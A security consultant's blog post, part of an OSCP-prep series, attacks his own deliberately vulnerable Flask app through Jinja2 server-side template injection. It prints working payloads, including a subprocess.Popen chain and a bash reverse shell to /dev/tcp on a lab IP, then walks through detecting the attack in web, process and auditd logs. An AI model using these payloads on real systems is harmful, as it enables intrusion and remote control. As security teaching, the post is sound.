Welcome to my journey of learning. This series is about my preparation for the OSCP exam. More specifically this series is about how I use the things I am learning for my CTF hobby in my role on the Data Analytics team here at Set Solutions. If you would like to know more about how this got started, check out the introduction here.
Throughout this series I am going to be building and enhancing a new application that has some problems. I’m going to play the part of the developer, the security analyst, and the systems administrator. As I add functionality to the application I will “accidentally” make mistakes that could have some security implications. After the functionality is added, I am going to attack the application and try to exploit the vulnerability. If that wasn’t ambitious enough, I’ll also dig into the defensive security side to try to detect my own attack. These posts are going to be on the longer side, so I encourage you get a fresh cup of coffee, or tea if that is your thing, and maybe some snacks.
The application I am building is for content management. By content I mean the huge backlog of blogs, tutorials, walkthroughs, writeups, exploits, etc. that I find online and save to read later. The idea will evolve over time. It makes sense in my head, and hopefully by the end of the series it will make sense to you too, heck it might even go live at some point.
For now, the application only has register user and login functionality. It displays a static page when you log in and doesn’t even have a logout button yet. It’s not much, but Google’s first server used Lego blocks for a chassis, so I think this is ok to get started with.
I chose to start this series off with Server-Side Template Injection (SSTI) because out of all the things I have learned so far, this is the technique that is the most fun for me. When I find this vulnerability in a capture the flag challenge, I know that I am about to get myself a shell. I may have to work for it, but it is there. On the other hand, it might also be a rabbit hole, because some CTF challenge designers are jerk faces who are just messing with my head.
Template injection vulnerabilities come from input that is not properly sanitized before being used by the templating engine that allows dynamic content on a web page. Whether it is form input like names and phone numbers, cookie values from the browser, the URL, or query parameters that were submitted, nothing should be trusted. Everything needs to be validated, every time. As web vulnerabilities go, SSTI is less common than SQL injection, request forgery, or cross site scripting, but it is good to understand what it looks like, and how it works.
CTFs and Hacking Strategy
I would like to take a moment to talk about CTFs, vulnerable apps, and the real world. If you haven’t done a capture the flag event, the general idea is that you get a challenge that needs to be solved. You are looking for a “flag” that demonstrates that you completed the challenge. The flag is usually just some text. It may look like this: flag{you_captured_the_flag}. The flag can be hidden in a file that only the root or administrator user can read, or it might be encrypted, or mangled in some other way that you need to re-assemble. For boot-to-root challenges, you are given a virtual machine and your goal is to get to the root flag, which is a file that only root/admin can read. There might be other flags along the way, but the goal is to get complete control of that box.
To get started, you scan the machine and try to find a way in. There is always a way in, that is the point. Maybe it is a web application with weak login protection. Perhaps there is a page that that allows SQL injection, or a misconfigured FTP server. It can be anything, but the creator of the challenge has a path that they intend for you to follow. They are trying to teach you something, or they are trying to get you to demonstrate that you know something.
This bit is important because the machine is intentionally vulnerable, it has been broken by design. CTF challenges are not usually obvious at first glance. Like a riddle or a magic trick, the solution becomes obvious once you know the secret. The designer will leave breadcrumbs, or clues to help you get started. Maybe it is metadata in an image on a web page. Maybe it’s an FTP server that allows anonymous login and shows you a “memo” from one user to another talking about weak passwords, or some new development site they are trying out. When I start a CTF challenge I know that there is a way in. I may not be able to complete the challenge myself, but it can be completed.
In the real world, developers, administrators, and organizations as a whole work together to prevent things from being vulnerable, even if they miss things from time to time. The architecture of the applications is much more complex. In a real engagement, pentesters do not know if they can get in. The game is bigger, harder, and requires a lot of knowledge and skill.
One of the first things I learned when I started doing CTFs is that a process and a workflow is important. Blindly stumbling around will probably work, eventually, but developing a good process and workflow will save time and yield better results. I follow the basic process of recon, foothold, privilege escalation, loot, and explore. Throughout the process I am trying to learn as much as I can about the box, so that I can decide what the next step will be. The goal is usually to get some form of code execution so that I can get a shell, or some type of command line terminal (or a remote desktop connection in some rare cases).
Once I have a shell, I am going to be looking how to get to another account with more privileges on the box so that I can see more files, processes, and do more things. If I can get to root, or system privileges, then I dig around for a while to see if there are things that I missed.
That last step is usually where I learn the most. I cannot count the number of times where I completed a challenge only to find out that I did something the hard way. I read the writeups for the challenges after I finish them to see what else I missed. This stuff is hard, and more than anything it is a test of patience and persistence. I am a little bit stubborn, kind of competitive, and I enjoy the satisfaction of working things out. These traits mostly work well together, like peanut butter and jelly, or pumpkin and baked goods.
Know your target, do the recon.
For recon, I start with RustScan and Nmap. These tools are going to show me what ports are open on the target machine. Nmap is an old, but incredibly powerful tool. I don’t really know how to use all of its capabilities yet, but I am getting better with it. The default command that I start is nmap -sC -sV -oA /nmap <target>. This command tells nmap to run the default scripts (of which there are many), and attempt to discover the version for services that it discovers. The -oA tells nmap to output the results to files in multiple formats in the /nmap directory. The last value is the target server name or IP address. After about 30 seconds, the results are printed out and as you can see from the screenshot, nmap found 3 open ports.
This is the kind of thing you see on terminals on TV and movies. Nmap results can show quite a lot of information. It looks super technical, doesn’t it? In this case, SSH is open on port 22, there is a Nginx website running on port 80, and there is a Splunkd agent running on port 8089. The default scripts do not cover all ports. Nmap can scan all ports, but I find that RustScan does a better job, well maybe not better, but certainly a lot faster. RustScan is a newer tool that is designed to quickly show open ports before doing anything else.
RustScan has pretty colors and nice output, and more importantly it shows all 4 open ports on the box in about 5-7 seconds. RustScan is going to send the open ports to Nmap with the same -sC -sV arguments that I would normally use to get details for the MongoDB service.
Both Nmap and RustScan are noisy. They hit the server and try and get details for many ports, this will show up in the logs, and probably be noticed by any automated system, or person who might be watching. Firewalls will usually see the scans as an attack and will quickly block them. I know the firewall does not exist on this box, so I’m just going to bang away on this server. It is my server after all, I can do what I want to it.
The Nmap scan for port 80 made 25 requests, many of them with unusual HTTP request verbs such as PROPFIND and OPTIONS, the User Agent for the requests also indicates that Nmap was the tool being used. Looking for unusual HTTP request verbs and user agent strings can shine a light on recon work being executed against a web application. The image below shows a handful of the requests that were seen when Nmap ran the scripts. This data comes straight from the Nginx default logs.
At this point I know what I need to move on to finding a foothold. The MongoDB and Splunk instances are interesting, but I’m going to start with the website because I know that is where I hid the goodies. When playing chess with yourself, you can take shortcuts sometimes.
With a web application, I start with a browser just to see what it does and what I can see. I’m looking for forms and input fields that I can mess with, login forms that I might be able to bypass or brute-force, and other things that are useful, links to scripts, cookies, anything that I can learn something from. At the same time, I am running a tool such as FeroxBuster, or GoBuster to look for pages or files that may not be exposed by links. In a CTF, the creator of the challenge often uses hidden sites or pages that that you must find. In the real world sometimes, there may be test/development pages that are not meant to be seen by the public or were replaced by other content.
Forced Browsing tools such as GoBuster and FeroxBuster all basically work the same way, but they have features that are specific to different use cases. They all take a word list, say 10k-20k words, and repeat the request substituting a word from the list. When I run FeroxBuster against my application I get some interesting results:
In a few seconds I got a few thousand “hits”. That is not normal. If I go to my application and give it some weird URL, I should get a page not found (HTTP 404) error, instead I get this:
The interesting parts are that the page I requested “JourneyOfLearningThisPageShouldn’tExist” shows up in the error message, and the response status on the request is 200. There is something weird going on here. Command injection attacks start with some sort of reflected value; I enter something somewhere and the page then shows it to me somewhere else.
Because I wrote this application, I know there is no crazy protection or filtering going on. I can pass pretty much whatever I want into that page and it is going to run it. I left the filtering and character replacement out of this application because I feel that for a real application, if I was trying to stop the template injection for this use case, there are better ways to do it.
Figuring out the bad characters and what keywords are on the naughty list is kind of fun in an extremely frustrating way. In a CTF the next phase of recon and discovery would be to figure out what I can and cannot make this page do for me. I could enumerate in a few different ways, or I can try and get the page to spit out its own source code, but that takes time that I want to use for other things in this post. Onward to glory!
The Attack!
There are lots of paths for a SSTI attack, but they all start with identifying the templating engine being used by the application. There are a lot of templating engines for different web frameworks. I keep this page from PortSwigger handy, it is a good place to start: https://portswigger.net/research/server-side-template-injection#Identify. Working through the identification workflow I find that I can use {{4*4}} and the page will tell me that page 16 does not exist. I can also get it to tell me page 4444 does not exist by sending in {{4*’4’}}. This is the kind of thing I love about code. In Python 4*4 is two numbers being multiplied and you get a number back, 16. On the other hand, 4 * ‘4’ is a string being duplicated 4 times resulting in 4444. Based on the identification flow chart, this is a Jinja2 template engine.
For the next step, I am going to abuse the Python language a little bit. In Python everything is an object, and objects inherit functionality from each other in a hierarchy. The top of the hierarchy is the “object” object type. I am going to use the __class__ property that every object has, and the mro() or Method Resolution Order function which returns the parent classes for a particular object. Essentially, I am going to ask Python to return the class hierarchy of an empty string (‘’). I make this request in the URL by going to a page that looks like this {{”.__class__.mro()}}.
I want the <class ‘object’> item in that list, so I’ll append [1] to the command I am sending, which is going to tell Python to return an instance of an “object” object. This is a very roundabout way of getting a generic object.
The next step is tricky. An “object” object doesn’t do very much, but every object type (string, integer, file, regular expression parser, etc.) is going to inherit from the “object” class. I will ask Python for a list of all the classes that inherit from object. The result of this request is a list of all the classes that I can get my grubby little paws on.
The page is starting to look a little bit weird, but I am getting close to something useful. My request returned a list of 645 classes. I can use any of them, if I can identify what place they are in, in the list. In the first step there were two items, str, and object. This is the same thing, except there are lots of items in the list, and it’s not numbered in a way that is useful to me. This is one element of SSTI that changes from environment to environment. Different applications will have different objects to work with, and they are not always in the same order.
From that list of sub classes, I am looking for subprocess.Popen. Popen will let me spawn a process on the system, that process could be simple commands for reading a file, pinging another server, or sending a reverse shell to my computer. I copy that big blob of text into Notepad++ and split it by commas so that I can get line numbers. This seems more efficient than counting them on the screen, but it’s not the kind of thing you are going to see hackers do on TV. Copy and paste just might be the most useful hacker skill in the world, seriously.
Subprocess.Popen is in the list, and it is on line 363. Python lists are number starting at 0, so I want to use item 362 from the subclasses list. I ask Python to give me an object that is the 362nd item in the list of subclasses, of the object class. Using that object, I’ll send the pwd command to print out the current directory that the application is working in. This request is starting to look and sound a little weird, isn’t it? {{”.__class__.mro()[1].__subclasses__()[362](‘pwd’,shell=True,stdout=-1).communicate()[0].strip()}}
At this point, I am happy. The result of the pwd command is there on the page, and we know that this application is in a folder /opt/flaskapp/contentoverload/coweb. I have a few more things that I can verify, such as whether I can ping my own machine from the server. Changing the command is easy at this point, I just replace pwd with the new command that I want to use. The request is going to look something like this.
{{”.__class__.mro()[1].__subclasses__()[362](‘/bin/bash -c “/usr/bin/ping -c 1 192.168.1.14”’ , shell=True, stdout=-1).communicate()[0].strip()}}
I saw the pings in a tcpdump on my machine, so we are in business. Now for the moment of truth, whether I can catch a shell. I spent 2 hours trying to get this command right, but in the end, I was able to get the shell. I had not tried to exploit the SSTI vulnerability until I started writing this section. To be completely honest I was starting to wonder if I would be able to get the shell, and I panicked a little bit. I started thinking about the fact that this is the first of several posts, and this is the one that I thought I could do the easiest, and I kind of spiraled from there. I took a break, and then went at it again. 15th try was the charm. The problem was needing to be explicit with the full path for every command.
{{”.__class__.mro()[1].__subclasses__()[362](‘/bin/bash -c “/bin/bash -i >& /dev/tcp/192.168.1.14/9000 0>&1″‘,shell=True,stdout=-1).communicate()[0].strip()}}
The screenshot above shows my machine listing on port 9000, and the application server sending it a terminal. I can start running commands now as the www-data user on this server. Interestingly, the shell has no environment variables and commands are complaining a bit more than I would expect. I think that for CTFs where the designer intends for the accounts to be used, they are set up a little differently. I could mess with environment variables and start privilege escalation, but this post is already kind of long, and I still want to show what kind of data the logging picked up. I’m going to go make myself some coffee and find a cookie, and then we’ll get into the logs.
Switching gears, what would the defenders have seen?
When I set up the server for this application, I used a standard Ubuntu 20.04 ISO. I installed Nginx, configured Gunicorn and Flask to serve the application. I also added the Splunk Universal Forwarder, and Auditd. The Splunk UF has the standard Add-on for *nix to pick up information about the system, and I enabled many of the default inputs. I have never configured auditd before, so I did some digging on the internet and found this GitHub repo with what looks to be a good set of rules for the kind of things that I am looking for. After all that was done, I did little bit of poking around to make sure that things appeared to be working.
With much the same thinking process as not attacking the application until I was writing this blog, I am just now looking to see what data I captured. If I find out that I didn’t capture everything that I want, then I’ll have to do some digging to figure out what I need to turn on for next time. Security is a process of iterating. The advantage that I have is that I have control over the application, the infrastructure, the code, and all the policies and rules. This is an ideal situation for learning.
I have a special, and somewhat peculiar love for web logs. Web logs are a treasure trove of useful data about application and infrastructure performance. The FeroxBuster run is a huge red flag. It made 3,000 requests in just about 1 second, and I killed that before it was even 1% complete with its scan. Even a site with moderate traffic is going to see this burst. The user-agent is noticeable in the logs as well. While FeroxBuster and most other tools will let you tweak that user-agent string, and throttle the requests, it is worth watching out for things like this. Large numbers of 404 errors, or errors, or anything else with the same source IP address should get some attention.
192.168.1.14 – – [15/Apr/2021:13:30:01 +0000] “GET /coastal HTTP/1.1” 499 0 “-” “feroxbuster/2.2.1”
The web logs also captured the attack strings as well. My repeated attempts to find the right command to get the shell is very visible. The logs below show the last shell request, as well as my ping requests while I was trying to nail down why things were not working.
Many SSTI vulnerabilities aren’t going to be so visible in these logs. The attack might be the manipulation of a session cookie, or a value posted to the server in a form. For these cases, the logs written by the application should provide the appropriate visibility.
Moving on from the web logs, the Universal Forwarder is sending a list of processes every minute or so. The reverse-shell running under the www-data user account sticks out here as well. The volume of events changed during the attack, and the command line arguments for the processes reflect exactly what I was doing.
That process ran for over an hour (1:16:53), compare that picture to the netstat information, showing connections to the IP that I was using for the attack. There is some clear overlap here.
This web log and process information is all basic, but still good for triage and indicating where the problem is. Based on the information in these logs it should be obvious that the Python code that renders that friendly page not found message needs to be changed. That fix is simply converting a string-template into a tokenized template.
But what if we wanted to see what was being done on the box while that SSH session was open as the www-data user account? Say this was an actual attack, and we need to know exactly what was, or was not done for regulatory or compliance reasons. This is where Auditd comes into play, and this is where my greatest lesson for this blog post comes up.
I screwed up. Auditd wasn’t running with the right rule set when I started the attack. I verified that the rules were running yesterday after I finished the configuration, but then I had to apply some patches and reboot the machine that the VM was running on. I did not verify that the auditd rules were loaded before I started the attack. Like when you set up the camera, ring light, and microphones for an important video call, then move to a different room and forget to check them again. Head, meet desk, repeatedly.
Blogging before verifying functionality is bad. It’s pretty much the same thing as live demos. This kind of thing anger’s the techno-gods and is subject to smiting. I could have fudged some screenshots, repeated the test from the beginning, or something like that, but I think I made the point I wanted make with the data I captured. If the notes from the attack are good, the attack should be trivial to repeat. In my case, simply copying and pasting the URL back into the application will get me a new shell to play with. The defensive team could reproduce the attack on their own after the logging and data-capture issue has been resolved.
When I set out to create a SSTI vulnerability in a new application I thought it would be easy. I thought I understood what was going to be required to attack the vulnerability and detect that attack. In the end it was not as easy as I thought it would be. I learned a lot through the process. I also found a few things that I can dig deeper into about SSTI vulnerabilities, from both the offensive and defensive side. There is no guarantee that I will see a SSTI vulnerability when I take the OSCP exam, but if they are there, I’m confident that I’ll know how to handle it.
In the next post, I will be writing about abusing file upload functionality. I am going to see if I can get myself a shell using an image file! If you find yourself in need of some penetration testing services, or if you need help making sense of the data that was generated from your last test, give us a call, we will be happy to help you out. If you find yourself needing to correct me about something I wrote here, you’ll be able to find me on LinkedIn and Twitter.
***
This blog was written by Greg Porterfield, Senior Security Consultant at Set Solutions.